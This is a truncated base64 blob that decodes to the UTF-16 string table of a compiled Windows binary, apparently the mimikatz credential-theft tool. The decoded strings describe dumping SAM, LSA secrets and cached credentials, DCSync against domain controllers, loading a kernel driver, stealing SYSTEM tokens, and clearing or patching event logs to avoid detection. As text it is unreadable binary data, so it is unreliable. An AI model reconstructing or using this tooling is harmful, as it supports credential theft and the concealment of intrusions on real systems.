AHAAdABvAF8AbABfAHMAdABvAHIAZQBzACAAOwAgAEMAZQByAHQARQBuAHUAbQBTAHkAcwB0AGUAbQBTAHQAbwByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAATQB5AAAAAABzAHQAbwByAGUAAAAgACoAIABTAHkAcwB0AGUAbQAgAFMAdABvAHIAZQAgACAAOgAgACcAJQBzACcAIAAoADAAeAAlADAAOAB4ACkACgAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAKAAAAAAAoAG4AdQBsAGwAKQAAAAAACQBLAGUAeQAgAEMAbwBuAHQAYQBpAG4AZQByACAAIAA6ACAAJQBzAAoACQBQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAkAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABVAHMAZQByAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAawBlAHkAUwBwAGUAYwAgAD0APQAgAEMARQBSAFQAXwBOAEMAUgBZAFAAVABfAEsARQBZAF8AUwBQAEUAQwAgAHcAaQB0AGgAbwB1AHQAIABDAE4ARwAgAEgAYQBuAGQAbABlACAAPwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBQAHIAaQB2AGEAdABlAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQARwBlAHQAQwBlAHIAdABpAGYAaQBjAGEAdABlAEMAbwBuAHQAZQB4AHQAUAByAG8AcABlAHIAdAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQARwBlAHQATgBhAG0AZQBTAHQAcgBpAG4AZwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AEcAZQB0AE4AYQBtAGUAUwB0AHIAaQBuAGcAIAAoAGYAbwByACAAbABlAG4AKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQATwBwAGUAbgBTAHQAbwByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAcAByAG8AdgBpAGQAZQByAAAAAABwAHIAbwB2AGkAZABlAHIAdAB5AHAAZQAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBvAGYAdAB3AGEAcgBlACAASwBlAHkAIABTAHQAbwByAGEAZwBlACAAUAByAG8AdgBpAGQAZQByAAAAYwBuAGcAcAByAG8AdgBpAGQAZQByAAAAIAAqACAAUwB0AG8AcgBlACAAIAAgACAAIAAgACAAIAAgADoAIAAnACUAcwAnAAoAIAAqACAAUAByAG8AdgBpAGQAZQByACAAIAAgACAAIAAgADoAIAAnACUAcwAnACAAKAAnACUAcwAnACkACgAgACoAIABQAHIAbwB2AGkAZABlAHIAIAB0AHkAcABlACAAOgAgACcAJQBzACcAIAAoACUAdQApAAoAIAAqACAAQwBOAEcAIABQAHIAbwB2AGkAZABlAHIAIAAgADoAIAAnACUAcwAnAAoAAAAAAAoAQwByAHkAcAB0AG8AQQBQAEkAIABrAGUAeQBzACAAOgAKAAAAAAAKACUAMgB1AC4AIAAlAHMACgAAACAAIAAgACAAJQBTAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFUAcwBlAHIASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABQAHIAbwB2AFAAYQByAGEAbQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAKAEMATgBHACAAawBlAHkAcwAgADoACgAAAAAAVQBuAGkAcQB1AGUAIABOAGEAbQBlAAAAIAAgACAAIAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABOAEMAcgB5AHAAdABPAHAAZQBuAEsAZQB5ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAE4AQwByAHkAcAB0AEUAbgB1AG0ASwBlAHkAcwAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAATgBDAHIAeQBwAHQATwBwAGUAbgBTAHQAbwByAGEAZwBlAFAAcgBvAHYAaQBkAGUAcgAgACUAMAA4AHgACgAAAAAARQB4AHAAbwByAHQAIABQAG8AbABpAGMAeQAAAEwAZQBuAGcAdABoAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcAByAGkAbgB0AEsAZQB5AEkAbgBmAG8AcwAgADsAIABOAEMAcgB5AHAAdABHAGUAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAHIAaQBuAHQASwBlAHkASQBuAGYAbwBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAWQBFAFMAAABOAE8AAAAAAAkARQB4AHAAbwByAHQAYQBiAGwAZQAgAGsAZQB5ACAAOgAgACUAcwAKAAkASwBlAHkAIABzAGkAegBlACAAIAAgACAAIAAgACAAOgAgACUAdQAKAAAAAABSAFMAQQBQAFIASQBWAEEAVABFAEIATABPAEIAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABSAGEAdwBLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABOAEMAcgB5AHAAdABTAGUAdABQAHIAbwBwAGUAcgB0AHkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABSAGEAdwBLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABOAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABSAGEAdwBLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABOAG8AIABDAE4ARwAhAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAQwBBAFAASQBQAFIASQBWAEEAVABFAEIATABPAEIAAABPAEsAAAAAAEsATwAAAAAACQBQAHIAaQB2AGEAdABlACAAZQB4AHAAbwByAHQAIAA6ACAAJQBzACAALQAgAAAAJwAlAHMAJwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAEUAeABwAG8AcgB0ACAALwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGEAdABlAEYAaQBsAGUATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABkAGUAcgAAAAkAUAB1AGIAbABpAGMAIABlAHgAcABvAHIAdAAgACAAOgAgACUAcwAgAC0AIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGEAdABlAEYAaQBsAGUATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcABmAHgAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEMAZQByAHQAIAA7ACAARQB4AHAAbwByAHQAIAAvACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAUABmAHgAIAA7ACAAUABGAFgARQB4AHAAbwByAHQAQwBlAHIAdABTAHQAbwByAGUARQB4ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBEAGUAcgBBAG4AZABLAGUAeQBUAG8AUABmAHgAIAA7ACAAQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAEQAZQByAEEAbgBkAEsAZQB5AFQAbwBQAGYAeAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGQAZQBsAGUAdABlACAAdABlAG0AcAAgAGsAZQB5AHMAZQB0ACAAJQBzAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAEQAZQByAEEAbgBkAEsAZQB5AFQAbwBQAGYAeAAgADsAIABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAG8AbgB0AGUAeAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBEAGUAcgBBAG4AZABLAGUAeQBUAG8AUABmAHgAIAA7ACAAQwBlAHIAdABBAGQAZABFAG4AYwBvAGQAZQBkAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBUAG8AUwB0AG8AcgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAlAHMAXwAlAHMAXwAlAHUAXwAlAHMALgAlAHMAAAAAAE4AVABMAE0AOgAgAAAAAABEAEMAQwAxADoAIAAAAAAARABDAEMAMgA6ACAAAAAAAEwATQAgACAAOgAgAAAAAABNAEQANQAgADoAIAAAAAAAUwBIAEEAMQA6ACAAAAAAAFMASABBADIAOgAgAAAAAAByAHMAYQBlAG4AaAAuAGQAbABsAAAAAABMAG8AYwBhAGwAIABDAHIAeQBwAHQAbwBBAFAASQAgAHAAYQB0AGMAaABlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBhAHAAaQAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAG4AYwByAHkAcAB0AC4AZABsAGwAAAAAAG4AYwByAHkAcAB0AHAAcgBvAHYALgBkAGwAbAAAAAAASwBlAHkASQBzAG8AAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBuAGcAIAA7ACAATgBvACAAQwBOAEcACgAAAGQAcgBvAHAAAAAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABFAHYAZQBuAHQAcwAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAHYAbwBpAGQAIABuAGUAdwAgAGUAdgBlAG4AdABzAAAAYwBsAGUAYQByAAAAQwBsAGUAYQByACAAYQBuACAAZQB2AGUAbgB0ACAAbABvAGcAAAAAAGUAdgBlAG4AdAAAAEUAdgBlAG4AdAAgAG0AbwBkAHUAbABlAAAAAABlAHYAZQBuAHQAbABvAGcALgBkAGwAbAAAAAAAdwBlAHYAdABzAHYAYwAuAGQAbABsAAAARQB2AGUAbgB0AEwAbwBnAAAAAABTAGUAYwB1AHIAaQB0AHkAAAAAAGwAbwBnAAAAVQBzAGkAbgBnACAAIgAlAHMAIgAgAGUAdgBlAG4AdAAgAGwAbwBnACAAOgAKAAAALQAgACUAdQAgAGUAdgBlAG4AdAAoAHMAKQAKAAAAAAAtACAAQwBsAGUAYQByAGUAZAAgACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZQB2AGUAbgB0AF8AYwBsAGUAYQByACAAOwAgAEMAbABlAGEAcgBFAHYAZQBuAHQATABvAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBlAHYAZQBuAHQAXwBjAGwAZQBhAHIAIAA7ACAATwBwAGUAbgBFAHYAZQBuAHQATABvAGcAIAAoADAAeAAlADAAOAB4ACkACgAAACsAAABJAG4AcwB0AGEAbABsACAAYQBuAGQALwBvAHIAIABzAHQAYQByAHQAIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgACgAbQBpAG0AaQBkAHIAdgApAAAAAAAtAAAAAAAAAFIAZQBtAG8AdgBlACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAAoAG0AaQBtAGkAZAByAHYAKQAAAAAAcABpAG4AZwAAAAAAUABpAG4AZwAgAHQAaABlACAAZAByAGkAdgBlAHIAAABiAHMAbwBkAAAAAABCAFMATwBEACAAIQAAAAAAcAByAG8AYwBlAHMAcwAAAEwAaQBzAHQAIABwAHIAbwBjAGUAcwBzAAAAAABwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAAAAAAFAAcgBvAHQAZQBjAHQAIABwAHIAbwBjAGUAcwBzAAAAcAByAG8AYwBlAHMAcwBUAG8AawBlAG4AAAAAAEQAdQBwAGwAaQBjAGEAdABlACAAcAByAG8AYwBlAHMAcwAgAHQAbwBrAGUAbgAAAHAAcgBvAGMAZQBzAHMAUAByAGkAdgBpAGwAZQBnAGUAAAAAAFMAZQB0ACAAYQBsAGwAIABwAHIAaQB2AGkAbABlAGcAZQAgAG8AbgAgAHAAcgBvAGMAZQBzAHMAAAAAAG0AbwBkAHUAbABlAHMAAABMAGkAcwB0ACAAbQBvAGQAdQBsAGUAcwAAAAAAcwBzAGQAdAAAAAAATABpAHMAdAAgAFMAUwBEAFQAAABuAG8AdABpAGYAUAByAG8AYwBlAHMAcwAAAAAATABpAHMAdAAgAHAAcgBvAGMAZQBzAHMAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAbgBvAHQAaQBmAFQAaAByAGUAYQBkAAAATABpAHMAdAAgAHQAaAByAGUAYQBkACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAbgBvAHQAaQBmAEkAbQBhAGcAZQAAAAAATABpAHMAdAAgAGkAbQBhAGcAZQAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAABuAG8AdABpAGYAUgBlAGcAAAAAAEwAaQBzAHQAIAByAGUAZwBpAHMAdAByAHkAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAABuAG8AdABpAGYATwBiAGoAZQBjAHQAAABMAGkAcwB0ACAAbwBiAGoAZQBjAHQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAABuAG8AdABpAGYAUAByAG8AYwBlAHMAcwBSAGUAbQBvAHYAZQAAAAAAUgBlAG0AbwB2AGUAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAAAAAAG4AbwB0AGkAZgBPAGIAagBlAGMAdABSAGUAbQBvAHYAZQAAAFIAZQBtAG8AdgBlACAAbwBiAGoAZQBjAHQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawAAAGYAaQBsAHQAZQByAHMAAABMAGkAcwB0ACAARgBTACAAZgBpAGwAdABlAHIAcwAAAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAEwAaQBzAHQAIABtAGkAbgBpAGYAaQBsAHQAZQByAHMAAAAAAG0AaQBtAGkAZAByAHYALgBzAHkAcwAAAG0AaQBtAGkAZAByAHYAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAYQBsAHIAZQBhAGQAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAAAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAAoAG0AaQBtAGkAZAByAHYAKQAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHUAYwBjAGUAcwBzAGYAdQBsAGwAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAAAAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABBAEMATAAgAHQAbwAgAGUAdgBlAHIAeQBvAG4AZQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAVwBvAHIAbABkAFQAbwBNAGkAbQBpAGsAYQB0AHoAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAQwByAGUAYQB0AGUAUwBlAHIAdgBpAGMAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AaQBzAEYAaQBsAGUARQB4AGkAcwB0ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGcAZQB0AEEAYgBzAG8AbAB1AHQAZQBQAGEAdABoAE8AZgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAATwBwAGUAbgBTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcwB0AGEAcgB0AGUAZAAKAAAAAAAAAAAAWwAqAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAGEAbAByAGUAYQBkAHkAIABzAHQAYQByAHQAZQBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAFMAdABhAHIAdABTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAE8AcABlAG4AUwBDAE0AYQBuAGEAZwBlAHIAKABjAHIAZQBhAHQAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcwB0AG8AcABwAGUAZAAKAAAAAABbACoAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcgBlAG0AbwB2AGUAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAHMAdABvAHAAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHIAZQBtAG8AdgBlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwByAGUAbQBvAHYAZQBfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AcgBlAG0AbwB2AGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAcgBlAG0AbwB2AGUAAAAAAFAAcgBvAGMAZQBzAHMAIAA6ACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFAAcgBvAGMAZQBzAHMASQBkAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAHAAaQBkAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAQQByAGcAdQBtAGUAbgB0ACAALwBwAHIAbwBjAGUAcwBzADoAcAByAG8AZwByAGEAbQAuAGUAeABlACAAbwByACAALwBwAGkAZAA6AHAAcgBvAGMAZQBzAHMAaQBkACAAbgBlAGUAZABlAGQACgAAAAAAAAAAAFAASQBEACAAJQB1ACAALQA+ACAAJQAwADIAeAAvACUAMAAyAHgAIABbACUAMQB4AC0AJQAxAHgALQAlADEAeABdAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAATgBvACAAUABJAEQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAUAByAG8AdABlAGMAdABlAGQAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAgAGIAZQBmAG8AcgBlACAAVwBpAG4AZABvAHcAcwAgAFYAaQBzAHQAYQAKAAAAAABmAHIAbwBtAAAAAAB0AG8AAAAAAAAAAABUAG8AawBlAG4AIABmAHIAbwBtACAAcAByAG8AYwBlAHMAcwAgACUAdQAgAHQAbwAgAHAAcgBvAGMAZQBzAHMAIAAlAHUACgAAAAAAAAAAACAAKgAgAGYAcgBvAG0AIAAwACAAdwBpAGwAbAAgAHQAYQBrAGUAIABTAFkAUwBUAEUATQAgAHQAbwBrAGUAbgAKAAAAAAAAACAAKgAgAHQAbwAgADAAIAB3AGkAbABsACAAdABhAGsAZQAgAGEAbABsACAAJwBjAG0AZAAnACAAYQBuAGQAIAAnAG0AaQBtAGkAawBhAHQAegAnACAAcAByAG8AYwBlAHMAcwAKAAAAVABhAHIAZwBlAHQAIAA9ACAAMAB4ACUAcAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AbgBvAHQAaQBmAHkARwBlAG4AZQByAGkAYwBSAGUAbQBvAHYAZQAgADsAIABOAG8AIABhAGQAZAByAGUAcwBzAD8ACgAAAAAAcwBhAG0AAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAAUwBBAE0AIABlAG4AdAByAGkAZQBzACAAKABmAHIAbwBtACAAcgBlAGcAaQBzAHQAcgB5ACAAbwByACAAaABpAHYAZQBzACkAAAAAAHMAZQBjAHIAZQB0AHMAAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAAUwBFAEMAUgBFAFQAUwAgAGUAbgB0AHIAaQBlAHMAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAE4ATAAkAEsATQAgAHQAaABlAG4AIABNAFMAQwBhAGMAaABlACgAdgAyACkAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAGwAcwBhAAAAAAAAAEEAcwBrACAATABTAEEAIABTAGUAcgB2AGUAcgAgAHQAbwAgAHIAZQB0AHIAaQBlAHYAZQAgAFMAQQBNAC8AQQBEACAAZQBuAHQAcgBpAGUAcwAgACgAbgBvAHIAbQBhAGwALAAgAHAAYQB0AGMAaAAgAG8AbgAgAHQAaABlACAAZgBsAHkAIABvAHIAIABpAG4AagBlAGMAdAApAAAAAAB0AHIAdQBzAHQAAAAAAAAAQQBzAGsAIABMAFMAQQAgAFMAZQByAHYAZQByACAAdABvACAAcgBlAHQAcgBpAGUAdgBlACAAVAByAHUAcwB0ACAAQQB1AHQAaAAgAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAgACgAbgBvAHIAbQBhAGwAIABvAHIAIABwAGEAdABjAGgAIABvAG4AIAB0AGgAZQAgAGYAbAB5ACkAAAAAAGIAYQBjAGsAdQBwAGsAZQB5AHMAAAAAAHIAcABkAGEAdABhAAAAAABkAGMAcwB5AG4AYwAAAAAAQQBzAGsAIABhACAARABDACAAdABvACAAcwB5AG4AYwBoAHIAbwBuAGkAegBlACAAYQBuACAAbwBiAGoAZQBjAHQAAABsAHMAYQBkAHUAbQBwAAAATABzAGEARAB1AG0AcAAgAG0AbwBkAHUAbABlAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBZAFMAVABFAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAEEATQAgAGgAa